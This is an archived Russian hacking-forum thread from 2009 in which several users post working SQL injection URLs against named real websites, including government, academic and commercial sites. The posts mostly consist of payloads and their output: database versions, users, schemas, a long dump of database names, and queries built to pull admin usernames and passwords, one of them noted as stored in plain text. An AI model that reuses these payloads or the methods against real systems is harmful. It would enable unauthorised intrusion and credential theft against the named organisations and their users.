ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10581  
Старый 01.09.2009, 16:19
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

bzvv.ch - омг!!! бзззззззззз
http://www.bzvv.ch/links.php?id=1/**/anD/**/1=-1%20/**/uniON/**/sElECT/**/version(),2,null/**/FROM/**/adressen/**/LIMIT/**/0,1
Table adressen
Код:
userid
	passwort
	name
	vorname
	adresse
	standort
	ptelefon
	gtelefon
	natel
	plz
	ort
	gebdatum
	eintritt
	austritt
	mitglied
	vorstand
	vorstand2
	email
	cnt
	gesperrt
	webadmin
	status
половина полей не работает
version - 5.0.51a
user - bizuvevi@localhost
database - wwwbzvvch

alwhyyn.net PR=3
http://www.alwhyyn.net/news/links.php?id=1/**/anD/**/1=-1%20/**/uniON/**/sElECt/**/1,2,version()/**/FROM/**/users/**/LIMIT/**/0,1
Version = 5.0.81-community
User = alwhyyn_news@localhost
Database = alwhyyn_news

http://www.alwhyyn.net/news/links.php?id=1/**/anD/**/1=-1%20/**/uniON/**/sElECt/**/1,2,coNCAt(0x3a,username,0x3a,password,0x3a)/**/FROM/**/admin/**/LIMIT/**/0,1


http://www.alwhyyn.net/news/links.php?id=1/**/anD/**/1=-1%20/**/uniON/**/sElECt/**/1,2,coNCAt(0x3a,username,0x3a,password,0x3a)/**/FROM/**/users/**/LIMIT/**/0,1

Последний раз редактировалось [x60]unu; 01.09.2009 в 17:38..
 
Ответить с цитированием

  #10582  
Старый 01.09.2009, 22:28
*uNkN0Wn*
Участник форума
Регистрация: 25.03.2009
Сообщений: 149
Провел на форуме:
1739459

Репутация: 116
Отправить сообщение для *uNkN0Wn* с помощью ICQ
Wink

Онлайн казино
Код:
http://www.hyperspin.de/Links/links.php?id=16'
Код:
http://www.bingobuds.com/links.php?id=2+and+1=0+ Union Select   UNHEX(HEX([visible]))
Columns: 1

Код:
Database:zzz

	information_schema
	101bestonlinecasinos
	10bestbingosites
	5starsbingo
	adsdb
	affdb
	all_db
	allegiance_test5
	atte
	atte_old
	banners
	bestonlinecasinos
	bingo_st
	bingocity
	bingosites
	blackjack2002
	blackjack777
	books
	books_sites
	bumpstone_client
	casinocityclub
	casinodomain
	cms_109k
	common
	craps
	craps777
	db_109k
	db_3dbingo_com
	db_777bingo_com
	db_acapulcobingo_com
	db_all_about_camping
	db_all_about_gadgets_and_electronics
	db_all_about_improving_your_home
	db_all_about_wine_and_gourmet
	db_allgadgetsreviewed
	db_american_gambling_com
	db_atlantisbingo_com
	db_baccarat365_com
	db_baccarat777_com
	db_baccarat_365_com
	db_baccarat_777_com
	db_baccarat_internet_com
	db_baccarat_land_com
	db_baccarat_magic_com
	db_baccarat_nation_com
	db_baccarat_planet_com
	db_bingo007_com
	db_bingo4play_com
	db_bingo_city_com
	db_bingobellissimo_com
	db_bingobuds_com
	db_bingocardsonline_com
	db_bingochatclub_com
	db_bingodimes_com
	db_bingoentry_com
	db_bingoexit_com
	db_bingolaguna_com
	db_bingolucky_com
	db_bingoluna_com
	db_bingomama_com
	db_bingomonaco_com
	db_bingomundo_com
	db_bingonickels_com
	db_bingononstop_com
	db_bingony_com
	db_bingood_com
	db_bingoriviera_com
	db_bingoromance_com
	db_bingoshmingo_com
	db_bingospain_com
	db_bingosprings_com
	db_bingostardust_com
	db_bingotahiti_com
	db_bingotample_com
	db_bj_21_com
	db_blackjack365_com
	db_blackjack777_com
	db_blackjack_365_com
	db_blackjack_777_com
	db_blackjack_internet_com
	db_blackjack_land_com
	db_blackjack_nation_com
	db_blackjack_planet_com
	db_boscasinos_com
	db_camelotbingo_com
	db_cashbonusbingo_com
	db_cashprizebingo_com
	db_casino_free_download_com
	db_casino_spain_2002_com
	db_casinoaceclub_com
	db_casinocityclub_com
	db_casinoclub2000_com
	db_casinogame2000_com
	db_casinolux365_com
	db_casinos_777_com
	db_casinos_land_com
	db_casinos_magic_com
	db_casinos_nation_com
	db_casinos_tournaments_com
	db_casinostournaments_com
	db_casinovegas365_com
	db_challengebingo_com
	db_chatbingo_com
	db_cityclubbingo_com
	db_common_articles
	db_craps365_com
	db_craps_365_com
	db_craps_777_com
	db_craps_land_com
	db_craps_nation_com
	db_craps_planet_com
	db_craps_tournaments_com
	db_dbsfinman
	db_diamondclubbingo_com
	db_diamondclubcasinos_net
	db_dice_casino_com
	db_foxwoodsbingo_com
	db_gambling_365_com
	db_gambling_777_com
	db_gambling_domain_com
	db_gambling_land_com
	db_gambling_magic_com
	db_gambling_nation_com
	db_gambling_school_com
	db_gambling_tc
	db_glorybingo_com
	db_go_baccarat_com
	db_go_blackjack_com
	db_go_craps_com
	db_go_keno_com
	db_go_poker_room_com
	db_go_roulette_com
	db_go_slots_com
	db_go_texas_holdem_com
	db_goldbingoclub_com
	db_goscratchtickets_com
	db_gratisbingogames_com
	db_guia_de_baccarat_com
	db_hugeprizebingo_com
	db_internet_poker_free_com
	db_internet_poker_sites_com
	db_intrecomei
	db_jackpot_365_com
	db_jackpot_777_com
	db_jackpot_planet_com
	db_keno777_com
	db_keno_365_com
	db_keno_777_com
	db_keno_internet_com
	db_keno_land_com
	db_keno_nation_com
	db_keno_planet_com
	db_keys_bingo
	db_keys_gambling
	db_keys_roulette
	db_mamabingo_com
	db_mega_baccarat_com
	db_mega_casinos_com
	db_mega_jackpot_com
	db_mega_online_casinos_com
	db_mega_poker_room_com
	db_mega_roulette_com
	db_mega_texas_holdem_com
	db_moonlightbingo_com
	db_mybingobucks_com
	db_mybingosite_com
	db_no1bingo_com
	db_novobingo_com
	db_number1_3d_casino_com
	db_number1_3d_gambling_com
	db_number1_american_casino_com
	db_number1_freeware_com
	db_online_casino_download_com
	db_online_casinos365_com
	db_online_casinos_download_com
	db_online_casinos_information_com
	db_online_casinos_land_com
	db_online_casinos_tournaments_com
	db_online_poker_download_free_com
	db_online_poker_games_online_com
	db_online_poker_sites_reviews_com
	db_online_poker_sites_uk_com
	db_onlinebingo_cc
	db_onlinebingosite_com
	db_onlinecasino2002_com
	db_onlinecasinos_center_com
	db_onlinecasinos_st
	db_onlinegambling2002_com
	db_onlinegambling_st
	db_onlinepoker_room_com
	db_onlinetexas_holdem_com
	db_partnerbingo_com
	db_play_texas_holdem_game_online_com
	db_playlivebaccarat_com
	db_playliveblackjack_com
	db_playlivecasino_com
	db_playliveroulette_com
	db_poker_365_com
	db_poker_777_com
	db_poker_bonus_money_com
	db_poker_bonus_online_com
	db_poker_games_on_line_com
	db_poker_games_online_for_free_com
	db_poker_games_online_free_com
	db_poker_games_to_play_com
	db_poker_magic_com
	db_poker_nation_com
	db_poker_room365_com
	db_poker_room_download_com
	db_poker_room_games_com
	db_poker_room_internet_com
	db_poker_room_land_com
	db_poker_room_magic_com
	db_poker_room_nation_com
	db_poker_room_school_com
	db_poker_room_site_com
	db_poker_room_strategy_com
	db_poker_room_tournaments_com
	db_poker_roomdownload_com
	db_poker_rules_betting_com
	db_popularbingo_com
	db_prestigecasino_net
	db_queenbingo_com
	db_queensclubbingo_com
	db_reviewedbingosites_com
	db_roulette365_com
	db_roulette777_com
	db_roulette_365_com
	db_roulette_777_com
	db_roulette_land_com
	db_roulette_nation_com
	db_roulette_planet_com
	db_scoutbb_com
	db_slots365_com
	db_slots_365_com
	db_slots_777_com
	db_slots_internet_com
	db_slots_land_com
	db_slots_nation_com
	db_slots_planet_com
	db_spider
	db_starluckbingo_com
	db_strictlybingo_com
	db_strippoker2000_com
	db_texas_holdem365_com
	db_texas_holdem_download_free_game_com
	db_texas_holdem_for_free_online_com
	db_texas_holdem_game_online_com
	db_texas_holdem_games_com
	db_texas_holdem_internet_com
	db_texas_holdem_land_com
	db_texas_holdem_magic_com
	db_texas_holdem_nation_com
	db_texas_holdem_school_com
	db_texasholdemonlinepoker_com
	db_top10bingosites_com
	db_tropicanabingo_com
	db_vegasusa365_com
	db_videopoker_st
	db_virtualbingogames_com
	declined
	directory
	directory_links_full
	dotbingo
	dotbingodb
	dotcasino
	errors_find
	exp1
	exp2
	exp3
	exp4
	g_site
	gambling_smart
	goscratchtickets
	guia_de_baccarat_com
	igmd
	igmd_links
	igmdltd
	igmdselling
	internet_poker_free_com
	internet_poker_sites_com
	intrecomei
	jackpot777
	mysql
	n1fw
	no1freeware
	online_poker_download_free_com
	online_poker_games_online_com
	online_poker_sites_reviews_com
	online_poker_sites_uk_com
	onlinebingo_cn
	onlinebingo_tv
	onlinegambling_st
	operations
	pdns
	pear
	pharmacyacy24x7_com
	phplive
	phpmyadmin
	play_texas_holdem_game_online_com
	playliveroulette
	poker777
	poker_bonus_money_com
	poker_bonus_online_com
	poker_games_on_line_com
	poker_games_online_for_free_com
	poker_games_online_free_com
	poker_games_to_play_com
	poker_rules_betting_com
	popup
	report
	reviewedbingosites_com
	roulette2002
	roulette777
	rss
	scoutbb
	sites
	slots2000
	slots_777
	slots_st
	strippoker2000
	test
	texas_holdem_game_online_com
	texasholdem_st
	top10bingosites
	vault
	vaultp
	wawawiwa
	winners777
	wlog
	zzz
 
Ответить с цитированием

  #10583  
Старый 01.09.2009, 23:06
Swift
Banned
Регистрация: 27.10.2008
Сообщений: 78
Провел на форуме:
174909

Репутация: 454
По умолчанию

Код:
http://www.eccb08.org/index.php?pageId=2+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3,version(),user(),database()),0x71),0x71)

5.0.51a-24+lenny1-log eccb08@localhost eccb08


вывод в сорсах

Последний раз редактировалось Swift; 01.09.2009 в 23:12..
 
Ответить с цитированием

  #10584  
Старый 02.09.2009, 02:37
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988

Репутация: 739
Отправить сообщение для ILYAtirtir с помощью ICQ
По умолчанию

Агросис. Проект по адаптации системы ведения глобальных справочников продукции агропромышленного комплекса.
Цитата:
http://www.agrosys.ru/firmreg/refprod.asp?start=3&firmID=2010091+OR+1=(select+@@ version)&pageHeader=2
Код:
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: )
Код:
system_user = sa
ООО «Фирма-Реал»
Цитата:
http://www.real-kuhni.ru/index.php?page=products&pid=0&tid=1000000+union+se lect+1,2,concat_ws(0x3a,database(),version(),user( ))/*
Код:
realkuhniru:5.0.41-log:realkuhniru@jerry.mplik.ru
 
Ответить с цитированием

  #10585  
Старый 02.09.2009, 04:47
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
Провел на форуме:
2200171

Репутация: 270
Отправить сообщение для Shadrin с помощью ICQ
По умолчанию

PR5
Код:
http://www.ecb.ee/page.php?nid=-21+UNION SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22
d8176sa29147@localhost : d8176sd21543 : 5.0.67-log
 
Ответить с цитированием

  #10586  
Старый 02.09.2009, 13:03
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

http://www.objectif-emploi.3cfr.com/index.php?ThemeID=3&InfoID=4&OE_RubriqueID=-3+union+select+1,2,3,4,5,6,7,8+from+mysql.user+/*+

http://reseau.risc.cnrs.fr/liens/affi_lien.php?ID=-44+union+select+1,database(),3,4,5,6,7,8,9+/*+
cogiter

http://www.risc.cnrs.fr/detail_lesechos.php?ID=-11282+union+select+1,2,3,4+/*+
 
Ответить с цитированием

  #10587  
Старый 02.09.2009, 13:38
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Цитата:
_ttp://asiakomoditi.com/article_details.php?id=-5081%20union%20select%201,2,3,4,5,6,concat_ws(0x3a ,id,user,password,policy,nama),8,9%20from%20t_admi n
Пассы в открытом виде...
 
Ответить с цитированием

  #10588  
Старый 02.09.2009, 16:44
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

stamijugend.ch
http://www.stamijugend.ch/links/links.php?id=1/**/anD/**/1=8/**/uniON/**/seLecT/**/1,version()/**/FROM/**/users/**/LIMIT/**/0,1
version - 5.1.30-log
user - stadtm44_02@server48.hostpoint.ch
database - stadtm44_stamijugend
table - users (username, userpass)

http://www.stamijugend.ch/links/links.php?id=1/**/anD/**/1=8/**/uniON/**/seLecT/**/1,conCAt(0x3a3a3a,username,0x3a3a3a,userpass)/**/FROM/**/users/**/LIMIT/**/0,1


zivilschutz-ooe.at
http://www.zivilschutz-ooe.at/src/links.php?ID=1+anD+1=-1+uniON+seLEcT+1,user(),3,4,5,6,7+from+users/*
Version = 5.0.27-standard
User = b138565227@localhost
Database = zivilschutz-ooe_at_dbfrast
table - users (User, Password)

http://www.zivilschutz-ooe.at/src/links.php?ID=1+anD+1=-1+uniON+seLEcT+1,conCAt(0x3a,User,0x3a,Password),3 ,4,5,6,7+from+users/*


sileessenota.com
http://www.sileessenota.com/links.php?id=1/**/aNd/**/substring(version(),1,1)=4&t=s&idi=4&pagina=2
ветка 4

Последний раз редактировалось [x60]unu; 02.09.2009 в 18:01..
 
Ответить с цитированием

  #10589  
Старый 02.09.2009, 20:57
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://www.burschenschaft-feistritz-gail.at/links.php?id=1+anD+substring(version(),1,1)=3/*
 
Ответить с цитированием

  #10590  
Старый 02.09.2009, 21:26
Swift
Banned
Регистрация: 27.10.2008
Сообщений: 78
Провел на форуме:
174909

Репутация: 454
По умолчанию

PostgreSQL

http://obras.itajai.sc.gov.br/noticiasp_det.php?id_noticia=99999+and+1=cast((SEL ECT+inet_server_port()||chr(58)||current_user||chr (58)||version())+as+int)

port:5432
user: portal
version:PostgreSQL 8.3.1 on i386-portbld-freebsd7.0, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]

Последний раз редактировалось Swift; 02.09.2009 в 21:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ